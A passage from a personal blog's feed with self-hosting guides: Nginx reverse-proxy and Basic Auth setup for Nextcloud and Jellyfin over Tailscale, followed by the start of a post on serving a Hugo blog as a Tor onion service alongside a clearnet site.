</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://100.104.127.96:8080</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span>              $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span>         $remote_addr;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span>   $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Sometimes helps apps behind multiple proxies
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Host</span>  $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Port</span>  $server_port;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Nextcloud + WebDAV can do long requests
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_send_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Usually good for DAV/uploads
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_request_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Then test + reload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo nginx -t
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
</span></span></code></pre></div><h3 id="32-jellyfin-vhost-with-basic-auth">3.2 Jellyfin vhost (with Basic Auth)</h3>
<p>Create:</p>
<p><code>/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir</code></p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">jellyfin.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://</span>$host$request_uri;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">jellyfin.alipourimjourneys.ir</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate</span>     <span style="color:#e6db74">/etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">include</span>             <span style="color:#e6db74">/etc/letsencrypt/options-ssl-nginx.conf</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssl_dhparam</span>         <span style="color:#e6db74">/etc/letsencrypt/ssl-dhparams.pem</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">client_max_body_size</span> <span style="color:#e6db74">512M</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># ✅ Basic Auth gate (extra layer before Jellyfin)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">auth_basic</span> <span style="color:#e6db74">&#34;Jellyfin</span> <span style="color:#e6db74">(private)&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">auth_basic_user_file</span> <span style="color:#e6db74">/etc/nginx/.htpasswd-jellyfin</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_pass</span> <span style="color:#e6db74">http://100.104.127.96:8096</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_http_version</span> <span style="color:#ae81ff">1</span><span style="color:#e6db74">.1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Host</span>              $host;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Real-IP</span>         $remote_addr;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-For</span>   $proxy_add_x_forwarded_for;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">X-Forwarded-Proto</span> $scheme;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Jellyfin uses websockets
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Upgrade</span> $http_upgrade;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_set_header</span> <span style="color:#e6db74">Connection</span> <span style="color:#e6db74">&#34;upgrade&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_read_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_send_timeout</span> <span style="color:#ae81ff">3600</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">proxy_buffering</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Enable:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
</span></span><span style="display:flex;"><span>sudo nginx -t
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
</span></span></code></pre></div><hr>
<h2 id="4-creating-the-basic-auth-password-file">4) Creating the Basic Auth password file</h2>
<p>Install tools (Debian/Ubuntu):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt-get update
</span></span><span style="display:flex;"><span>sudo apt-get install -y apache2-utils
</span></span></code></pre></div><p>Create the password file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
</span></span></code></pre></div><p>(If adding more users later, omit <code>-c</code>.)</p>
<p>Lock it down:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo chown root:root /etc/nginx/.htpasswd-jellyfin
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">640</span> /etc/nginx/.htpasswd-jellyfin
</span></span></code></pre></div><h3 id="notes-on-clients">Notes on clients</h3>
<ul>
<li>Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.</li>
<li>Some TV apps can be quirky. If a client can’t handle it, you can:
<ul>
<li>remove Basic Auth, or</li>
<li>keep it only on selected paths, or</li>
<li>use Cloudflare Access in front of Jellyfin instead (more work).</li>
</ul>
</li>
</ul>
<hr>
<h2 id="5-nextcloud-configure-it-to-behave-behind-the-reverse-proxy">5) Nextcloud: configure it to behave behind the reverse proxy</h2>
<p>Nextcloud needs to know:</p>
<ul>
<li>what hostnames are valid,</li>
<li>which proxy is trusted,</li>
<li>and what the “outside” URL scheme is.</li>
</ul>
<p>You can do it via <code>occ</code> inside the container (Apache image uses <code>www-data</code>).</p>
<h3 id="51-trusted_domains">5.1 trusted_domains</h3>
<p>Check current values:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
</span></span></code></pre></div><p>Add your public domain:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains <span style="color:#ae81ff">1</span> --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nextcloud.alipourimjourneys.ir&#34;</span>
</span></span></code></pre></div><p>(Keep your internal name too if you still use it, e.g. <code>rpi:8080</code>.)</p>
<h3 id="52-trusted_proxies">5.2 trusted_proxies</h3>
<p>Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.</p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies <span style="color:#ae81ff">0</span> --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;100.99.79.75&#34;</span>
</span></span></code></pre></div><p>(Use the <strong>VPS’s Tailscale IP</strong> as seen from the Pi.)</p>
<h3 id="53-overwritehost--overwriteprotocol--overwritecliurl">5.3 overwritehost / overwriteprotocol / overwrite.cli.url</h3>
<p>Tell Nextcloud “the world sees me as <a href="https://nextcloud.example">https://nextcloud.example</a>”:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nextcloud.alipourimjourneys.ir&#34;</span>
</span></span><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https&#34;</span>
</span></span><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://nextcloud.alipourimjourneys.ir&#34;</span>
</span></span></code></pre></div><h3 id="54-forwarded_for_headers-optional-but-often-helpful">5.4 forwarded_for_headers (optional, but often helpful)</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers <span style="color:#ae81ff">0</span> --value<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;HTTP_X_FORWARDED_FOR&#34;</span>
</span></span></code></pre></div><p>Restart Nextcloud container after config:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker restart nextcloud
</span></span></code></pre></div><hr>
<h2 id="6-sanity-checks-curl-is-your-friend">6) Sanity checks (curl is your friend)</h2>
<p>From anywhere public:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I http://nextcloud.alipourimjourneys.ir
</span></span><span style="display:flex;"><span>curl -I https://nextcloud.alipourimjourneys.ir
</span></span><span style="display:flex;"><span>curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
</span></span></code></pre></div><p>Expected “good signs”:</p>
<ul>
<li>HTTP returns <strong>301</strong> to HTTPS</li>
<li>HTTPS returns <strong>302</strong> to <code>/login</code> (or 200 if already authenticated)</li>
<li><code>/.well-known/caldav</code> returns <strong>301</strong> to <code>/remote.php/dav/</code></li>
</ul>
<p>If you see redirect loops or wrong hostnames:</p>
<ul>
<li>revisit <code>overwritehost</code>, <code>overwriteprotocol</code>, <code>trusted_proxies</code>.</li>
</ul>
<hr>
<h2 id="7-do-i-really-need-cloudflare-access--warp">7) “Do I really need Cloudflare Access / WARP?”</h2>
<h3 id="the-honest-answer">The honest answer</h3>
<p>If your setup is:</p>
<ul>
<li>HTTPS only</li>
<li>strong passwords + MFA in Nextcloud/Jellyfin</li>
<li>your origin isn’t directly exposed (only the VPS is public)</li>
<li>you keep things patched</li>
</ul>
<p>…then you’re already in a <strong>reasonable</strong> place.</p>
<h3 id="can-i-skip-cloudflare-access">“Can I skip Cloudflare Access?”</h3>
<p>Yes. In this topology, Cloudflare Access is optional. The main security boundary is:</p>
<ul>
<li><strong>Public:</strong> VPS + Nginx</li>
<li><strong>Private:</strong> Pi over Tailscale</li>
</ul>
<p>For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.</p>
<hr>
<h2 id="8-cloudflare-access-one-time-pin-not-arriving--passkeys">8) Cloudflare Access: One-time PIN not arriving + passkeys</h2>
<p>Two common gotchas:</p>
<h3 id="81-one-time-pin-email-didnt-arrive">8.1 One-time PIN email didn’t arrive</h3>
<p>That flow relies on email delivery. Check:</p>
<ul>
<li>spam/junk folder</li>
<li>if your provider blocked it</li>
<li>the exact email allowlist in your policy</li>
</ul>
<p>If it’s flaky, I’d avoid One-time PIN and use a real identity provider.</p>
<h3 id="82-can-i-use-passkeys--apple--google">8.2 Can I use passkeys / Apple / Google?</h3>
<p>Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys.
Practical approach:</p>
<ul>
<li>pick what your family already uses (Google or Apple),</li>
<li>configure that as the login method,</li>
<li>avoid WARP enrollment unless you specifically want device-based access.</li>
</ul>
<hr>
<h2 id="9-hardening-checklist-tiny-but-effective">9) Hardening checklist (tiny but effective)</h2>
<p>On the VPS:</p>
<ul>
<li>Keep Ubuntu security updates on</li>
<li>firewall: allow only what you need (22/80/443)</li>
<li>optional: <code>fail2ban</code> for SSH</li>
</ul>
<p>On the Pi:</p>
<ul>
<li>keep Docker images updated</li>
<li>Postgres/Redis not exposed publicly (Docker internal network)</li>
<li>backups: Nextcloud data + DB</li>
</ul>
<hr>
<h2 id="10-tldr">10) TL;DR</h2>
<ul>
<li>VPS Nginx terminates TLS, proxies to Pi over Tailscale</li>
<li>Nextcloud must be told about:
<ul>
<li><code>trusted_domains</code></li>
<li><code>trusted_proxies</code></li>
<li>overwrite values (<code>overwritehost</code>, <code>overwriteprotocol</code>, <code>overwrite.cli.url</code>)</li>
</ul>
</li>
<li><code>curl -I</code> should show sane redirects + <code>/remote.php/dav/</code></li>
<li>Jellyfin gets an extra gate with <strong>Nginx Basic Auth</strong></li>
</ul>
<p>Boring is good. Boring runs for months.</p>
<hr>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/pi_service_touchup.md">Markdown</a> ·
    <a href="/sources/posts/pi_service_touchup.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
jSomZA/&#43;LsB&#43;V0BnPki5qaDc&#43;tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
vfg48uYNp4fBnoyfJrgURx&#43;OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC&#43;58lGs
&#43;qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
iVH&#43;ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy&#43;7/id2yz3eXYWn2xKMvp
SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
kOvBdjQf4wDqUuNv7NKA&#43;OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
Gs8K9nADnHhAjWgwTq3D&#43;2qRWcF0tlLSTmKg&#43;95yaYi0XWWMFGTgCv2odPsgFlIS
3FiLJC3rV73prsk&#43;7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
TJ2&#43;amlKyT&#43;Nq9wGrAez&#43;dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
=2UUg
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
  </pre>
</div>


]]></content:encoded></item><item><title>Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod</title><link>https://blog.alipour.eu/posts/tor_clearnet_blog/</link><pubDate>Fri, 19 Sep 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/tor_clearnet_blog/</guid><description>How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy.</description><content:encoded><![CDATA[<blockquote>
<p>TL;DR — The site is built once (Hugo project), <strong>published twice</strong>:</p>
<ul>
<li><strong>Onion</strong>: <code>http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/</code> via Tor, no TLS/HSTS, bound to <code>127.0.0.1:3301</code>.</li>
<li><strong>Clearnet</strong>: <code>https://blog.alipourimjourneys.ir</code> behind Cloudflare, Let’s Encrypt cert, <code>Onion-Location</code> header pointing to the onion mirror.</li>
</ul></blockquote>
<hr>
<h2 id="1-tor-hidden-service-onion-basics">1) Tor hidden service (onion) basics</h2>
<p>I used Tor’s v3 onion services and mapped onion port 80 → my local web server on <code>127.0.0.1:3301</code>.</p>
<p><strong>Install &amp; configure Tor (Debian/Ubuntu):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update <span style="color:#f92672">&amp;&amp;</span> sudo apt install -y tor
</span></span><span style="display:flex;"><span>sudoedit /etc/tor/torrc
</span></span></code></pre></div><p>Add:</p>
<pre tabindex="0"><code>HiddenServiceDir /var/lib/tor/hidden_site/
HiddenServicePort 80 127.0.0.1:3301
</code></pre><p>Make sure the directory is owned by Tor’s user and private:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /var/lib/tor/hidden_site
</span></span><span style="display:flex;"><span>sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">700</span> /var/lib/tor/hidden_site
</span></span></code></pre></div><p><strong>Important:</strong> use the right systemd unit:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># validate as the Tor user</span>
</span></span><span style="display:flex;"><span>sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># (re)start the real service</span>
</span></span><span style="display:flex;"><span>sudo systemctl enable --now tor@default
</span></span><span style="display:flex;"><span>sudo systemctl restart tor@default
</span></span></code></pre></div><p>Get the onion address:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo cat /var/lib/tor/hidden_site/hostname
</span></span></code></pre></div><p>Quick check (do remote DNS via SOCKS):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">&#34;http://</span><span style="color:#66d9ef">$(</span>sudo cat /var/lib/tor/hidden_site/hostname<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span>
</span></span></code></pre></div><hr>
<h2 id="2-nginx-for-the-onion-localhost-only">2) Nginx for the onion (localhost-only)</h2>
<p>I keep the onion site strictly on localhost: <strong>no HTTPS, no redirects, no HSTS</strong>. Tor already provides e2e encryption and authenticity.</p>
<p><code>/etc/nginx/sites-available/onion-blog</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">listen</span> 127.0.0.1:<span style="color:#ae81ff">3301</span> <span style="color:#e6db74">default_server</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">server_name</span> <span style="color:#e6db74">&lt;your-56-char&gt;.onion</span> 127.0.0.1 <span style="color:#e6db74">localhost</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># keep onion simple; no HSTS/redirects here
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Referrer-Policy</span> <span style="color:#e6db74">no-referrer</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Content-Type-Options</span> <span style="color:#e6db74">nosniff</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Frame-Options</span> <span style="color:#e6db74">SAMEORIGIN</span> <span style="color:#e6db74">always</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># (optional) strict CSP so nothing leaks to clearnet
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e"># add_header Content-Security-Policy &#34;default-src &#39;self&#39;; img-src &#39;self&#39; data:; style-src &#39;self&#39; &#39;unsafe-inline&#39;; script-src &#39;self&#39;&#34; always;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-onion</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">location</span> ~<span style="color:#e6db74">*</span> <span style="color:#e6db74">\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)</span>$ {
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">access_log</span> <span style="color:#66d9ef">off</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">&#34;public,</span> <span style="color:#e6db74">max-age=31536000,</span> <span style="color:#e6db74">immutable&#34;</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">try_files</span> $uri =<span style="color:#ae81ff">404</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Enable/reload:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&amp;&amp;</span> sudo systemctl reload nginx
</span></span></code></pre></div><blockquote>
<p>Gotcha I hit: I had <strong>two</strong> server blocks on <code>127.0.0.1:3301</code>, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it <code>default_server</code>). Also, if you ever use a regex in <code>server_name</code>, the syntax is <code>server_name ~* \.onion$</code> (note the space after <code>~*</code>).</p></blockquote>
<hr>
<h2 id="3-hugo--papermod-setup-and-version-bumps">3) Hugo + PaperMod setup (and version bumps)</h2>
<p>PaperMod now requires <strong>Hugo Extended ≥ 0.146.0</strong>. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read <code>/srv</code> paths by default).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># install Hugo extended (example)</span>
</span></span><span style="display:flex;"><span>VER<span style="color:#f92672">=</span>0.146.0
</span></span><span style="display:flex;"><span>cd /tmp
</span></span><span style="display:flex;"><span>wget https://github.com/gohugoio/hugo/releases/download/v<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>/hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
</span></span><span style="display:flex;"><span>tar -xzf hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
</span></span><span style="display:flex;"><span>sudo mv hugo /usr/local/bin/hugo
</span></span><span style="display:flex;"><span>hugo version  <span style="color:#75715e"># should say &#34;extended&#34; and &gt;= 0.146.0</span>
</span></span></code></pre></div><p>Create the site and theme:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /srv/hugo <span style="color:#f92672">&amp;&amp;</span> sudo chown -R <span style="color:#e6db74">&#34;</span>$USER<span style="color:#e6db74">&#34;</span>:<span style="color:#e6db74">&#34;</span>$USER<span style="color:#e6db74">&#34;</span> /srv/hugo
</span></span><span style="display:flex;"><span>cd /srv/hugo
</span></span><span style="display:flex;"><span>hugo new site mysite
</span></span><span style="display:flex;"><span>cd mysite
</span></span><span style="display:flex;"><span>git init
</span></span><span style="display:flex;"><span>git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
</span></span></code></pre></div><p><strong>Config updates:</strong> in newer Hugo, <code>paginate</code> is deprecated → use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/_default/hugo.toml</span>
